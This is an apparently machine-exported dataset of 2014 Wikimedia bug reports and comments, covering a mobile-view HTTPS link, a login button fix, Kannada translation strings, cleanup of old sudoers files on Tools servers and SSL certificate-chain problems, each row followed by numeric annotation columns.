+The template works fine. It will switch back to desktop with the link at the footer. It will not switch back to mobile.",,,1392408711,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+283370,Mobile view link unexpectedly goes to HTTPS,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1705",,,1392400476,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+283361,Mobile view link unexpectedly goes to HTTPS,"Andre, the report is clear enough for me the MF developer.
+
+grant, please tell me your configuration.",,,1392395370,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+283354,Mobile view link unexpectedly goes to HTTPS,"Please provide steps to reproduce the problem, so another person could follow your steps and would end up woith the same result.",,,1392391422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+283348,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:
+
+This isn't  related in anyway to wikimedia or wikipedia. It is related to MediaWiki. MobileFrontend is a mediawiki extension and the bug reporting link on the extension page -- 
+http://www.mediawiki.org/wiki/Extension:MobileFrontend
+ directs to here, to bugzilla. If I am in the wrong place, perhaps that link should be removed. 
+
+Let me know if I should continue.",,,1392390142,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+283342,Mobile view link unexpectedly goes to HTTPS,"Hi grant,
+unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read https://www.mediawiki.org/wiki/How_to_report_a_bug and add a more useful description to this report.
+What exactly is a ""mobile link on a desktop pc""? 
+
+How is this related to Wikimedia / Wikipedia?",,,1392386851,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0
+283336,Mobile view link unexpectedly goes to HTTPS,What is your MobileFrontend - related configuration?,,,1392369841,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+283330,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:
+
+the problem is the link is: https: rather than: http.",,,1392354319,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+283327,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:
+
+link not ""line""",,,1392345538,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+63261,Tapping 'done' from the password field does not trigger login,"Should trigger login.
+
+--------------------------
+**Version**: Unspecified
+**Severity**: normal",Needs Triage,90.0,1392201900,1392224165.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-cdiwvtfa5nktko7qaax3,task_description,resolved,True,c3,1,True,False,True,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+291789,Tapping 'done' from the password field does not trigger login,"Change 112870 merged by Brion VIBBER:
+Make 'Done' perform login action
+
+https://gerrit.wikimedia.org/r/112870",,,1392219278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdiwvtfa5nktko7qaax3,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+291787,Tapping 'done' from the password field does not trigger login,"Change 112870 had a related patch set uploaded by Yuvipanda:
+Make 'Done' perform login action
+
+https://gerrit.wikimedia.org/r/112870",,,1392202213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdiwvtfa5nktko7qaax3,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+62965,Wrong text in Kannada Wikipedia login page,"Error in Kannada Wikipedia login page
+
+The Kannada text in the login page on Kannada Wikipedia are wrong. Please see the attachment. The correct text for the numbered text are -
+1. ನಿಮ್ಮ ಬಳಕೆದಾರ ಹೆಸರು (ಯೂಸರ್‌ನೇಮ್) ಬರೆಯಿರಿ
+2. ನಿಮ್ಮ ಪ್ರವೇಶಪದ (ಪಾಸ್‌ವರ್ಡ್) ಮರೆತುಹೋಗಿದೆಯೇ?
+3. ನನ್ನನ್ನು ಲಾಗ್‌ಇನ್ ಆಗಿಯೇ ಇಡಿ (೩೦ ದಿನಗಳ ತನಕ)
+
+The original text in English Wikipedia for the above texts are, respectively, -
+1. Enter your username
+2. Forgot your password?
+3. Keep me logged in (for up to 30 days)
+
+If these are the wrongly translated text in TranslateWiki, please point me to the place where they have to be changed. I will change them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F13224}",Needs Triage,90.0,1391698740,1391702315.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-gab6jfzhaeusn5n2j6ub,task_description,invalid,True,c3,1,False,False,True,-73,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1
+290498,Wrong text in Kannada Wikipedia login page,"The current strings from https://git.wikimedia.org/raw/mediawiki%2Fcore.git/HEAD/languages%2Fmessages%2FMessagesKn.php :
+
+'userlogin-yourname-ph' => 'ನಿಮ್ಮ ಸದಸ್ಯನಾಮ (""ಯೋಸರ್ನೇಮ್"") ಬರಿರಿ',
+'userlogin-resetpassword-link' => 'ಗುಪ್ತಪದವನ್ನು ಮರಿತು ಹೊಯಿತ ?',
+'userlogin-remembermypassword' => 'ನನ್ನನ್ನ ಲೋಗ್ಗೆದ್ ಇನ್ ಎ ಇಡಿ.',
+
+""(for up to 30 days)"" is en.wp only, hence not a ""wrong"" translation.
+
+(Note: Attaching uselang=en in the URL provides the English strings, and uselang=qqx the technical strings, just in case you want to look them up.)
+
+Hence the strings can be found on https://translatewiki.net/w/i.php?title=Special:Translate&language=kn&group=core&filter=translated&action=page - out of scope for Bugzilla itself.",,,1391702315,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gab6jfzhaeusn5n2j6ub,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+62937,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"Those seem to have been created April 2013 and earlier; they should be removed as to not confuse the upcoming tool usernames change.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1391653320,1395092992.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_description,declined,True,c3,1,True,False,True,-73,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+288930,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"Change 112666 abandoned by Tim Landscheidt:
+Tools: Work around missing LDAP sudo rules
+
+Reason:
+In eqiad no longer necessary.
+
+https://gerrit.wikimedia.org/r/112666",,,1395092903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,False,,,-68,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+288925,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"Change 112666 had a related patch set uploaded by Tim Landscheidt:
+Tools: Work around missing LDAP sudo rules
+
+https://gerrit.wikimedia.org/r/112666",,,1392122114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+288920,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,/etc/sudoers.d/tools-ldap-fix deployed to all Tools nodes.,,,1392117780,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+288913,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"List of affected tools:
+
+- afcbot
+- anagrimes
+- csbot
+- daahbot
+- ftl
+- legobot
+- matilda
+- wiktioutils",,,1392117467,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+288905,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"(In reply to comment #1)
+> Deleted /data/project/.system/sudoers; all entries also in LDAP.
+
+Yes, but only as rules for the new service group system; no old ones, and so broke ""become"" for the affected tools.
+
+I'll diff [[wikitech:Special:NovaServiceGroup]] and [[wikitech:Special:NovaSudoer]] to create a list of affected tools, deploy a hot fix to /etc/sudoers.d and submit a change to Puppet.",,,1392116256,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+288898,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,"... and /etc/sudoers.d/tools-{dev,login} (configuration for the above to work on the respective hosts) as well.",,,1392069192,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+288889,Remove remnant /data/project/.system/sudoers and /etc/sudoers.d/tools-login,Deleted /data/project/.system/sudoers; all entries also in LDAP.,,,1392068793,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xfof7ovcgpqpol3ut2y,task_subcomment,,True,c3,1,True,,,-73,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+62865,SSL-Error for https at ganglia.wmflabs.org (ssl_error_rx_record_too_long),"Unable to connect via https to https://ganglia.wmflabs.org/ with Firefox
+and Chrome.
+
+Firefox gives the error message: ssl_error_rx_record_too_long
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57371",Needs Triage,90.0,1391593500,1396637077.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-f7idbwtrhabqzfbmmjxe,task_description,resolved,True,c3,1,True,False,True,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+285419,SSL-Error for https at ganglia.wmflabs.org (ssl_error_rx_record_too_long),seems gone (after migration to eqiad),,,1396637077,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-f7idbwtrhabqzfbmmjxe,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+62833,serve a cert chain with dynamic proxy SSL certificate,"**Author:** `daniel`
+
+**Description:**
+While Bug#52630 was fixed and 
+http://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
+has an all green result
+
+http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org
+gives a warning (""The certificate is not trusted in all web browsers."")
+
+The latter goes through a different server (the Instance Proxy).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1391530320,1398537120.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5cm6s6difntvk2kme3nb,task_description,resolved,True,c3,1,False,False,True,-74,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+283879,serve a cert chain with dynamic proxy SSL certificate,"Firefox isn't showing it as invalid now with a fresh profile, and http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org is showing all green.",,,1398537120,,PHID-USER-7ggbl2sm3bxckkmp6uw3,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-62,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+283875,serve a cert chain with dynamic proxy SSL certificate,can you try again and report results please?,,,1397643704,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+283871,serve a cert chain with dynamic proxy SSL certificate,https://gerrit.wikimedia.org/r/#/c/126008/1,,,1397643668,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+283867,serve a cert chain with dynamic proxy SSL certificate,"Change 111386 merged by Andrew Bogott:
+star.wmflabs.org: fix intermediate CA
+
+https://gerrit.wikimedia.org/r/111386",,,1397576614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+283860,serve a cert chain with dynamic proxy SSL certificate,"I've noticed that in Firefox with a fresh profile this will lead to users getting the scary looking ""This connection is untrusted"" message. For something like accounts.wmflabs.org that routinely deals with new users to the project who may not be very tech savvy, this could be a problem.",,,1396187815,,PHID-USER-7ggbl2sm3bxckkmp6uw3,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-66,True,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+283852,serve a cert chain with dynamic proxy SSL certificate,"Close, but no cigar.  While using .chained.pem in the Nginx configuration is apparently The Right Thing(TM), the problem lies deeper: manifests/certs.pp's install_certificate creates the chained certificate for star.wmflabs.org with wmf-labs.pem, while the certificate is actually signed by RapidSSL_CA.pem.  The patch by jeremyb should fix this.",,,1391561668,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+283845,serve a cert chain with dynamic proxy SSL certificate,"Change 111386 had a related patch set uploaded by Jeremyb:
+Dynamic proxy: Serve SSL certificate chain. v2
+
+https://gerrit.wikimedia.org/r/111386",,,1391560893,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+283840,serve a cert chain with dynamic proxy SSL certificate,"Change 111342 merged by coren:
+Dynamic proxy: Serve SSL certificate chain
+
+https://gerrit.wikimedia.org/r/111342",,,1391558389,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+283836,serve a cert chain with dynamic proxy SSL certificate,"Change 111342 had a related patch set uploaded by Tim Landscheidt:
+Dynamic proxy: Serve SSL certificate chain
+
+https://gerrit.wikimedia.org/r/111342",,,1391551491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+283831,serve a cert chain with dynamic proxy SSL certificate,"It is the dynamic proxy, which uses the star.wmflabs.org certificate, which I presume needs to be fixed.",,,1391548489,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-5cm6s6difntvk2kme3nb,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+62755,parsoidserver-http-bad-status,"http://en.m.wikipedia.beta.wmflabs.org/w/api.php?format=json&action=visualeditor&paction=parse&page=Selenium_Edit_Test
+
+Any idea why this request ends up with the response:
+{""servedby"":""deployment-apache32"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}
+
+It prevents VisualEditor from loading on mobile...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1391408100,1391651487.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-btmvpbqnfpj57y5y72ua,task_description,declined,True,c3,1,True,False,True,-74,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+292824,parsoidserver-http-bad-status,"I'm closing this bug as worksforme, as the underlying API outage has since been fixed. Bug 58390 tracks the error code issue.",,,1391651487,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
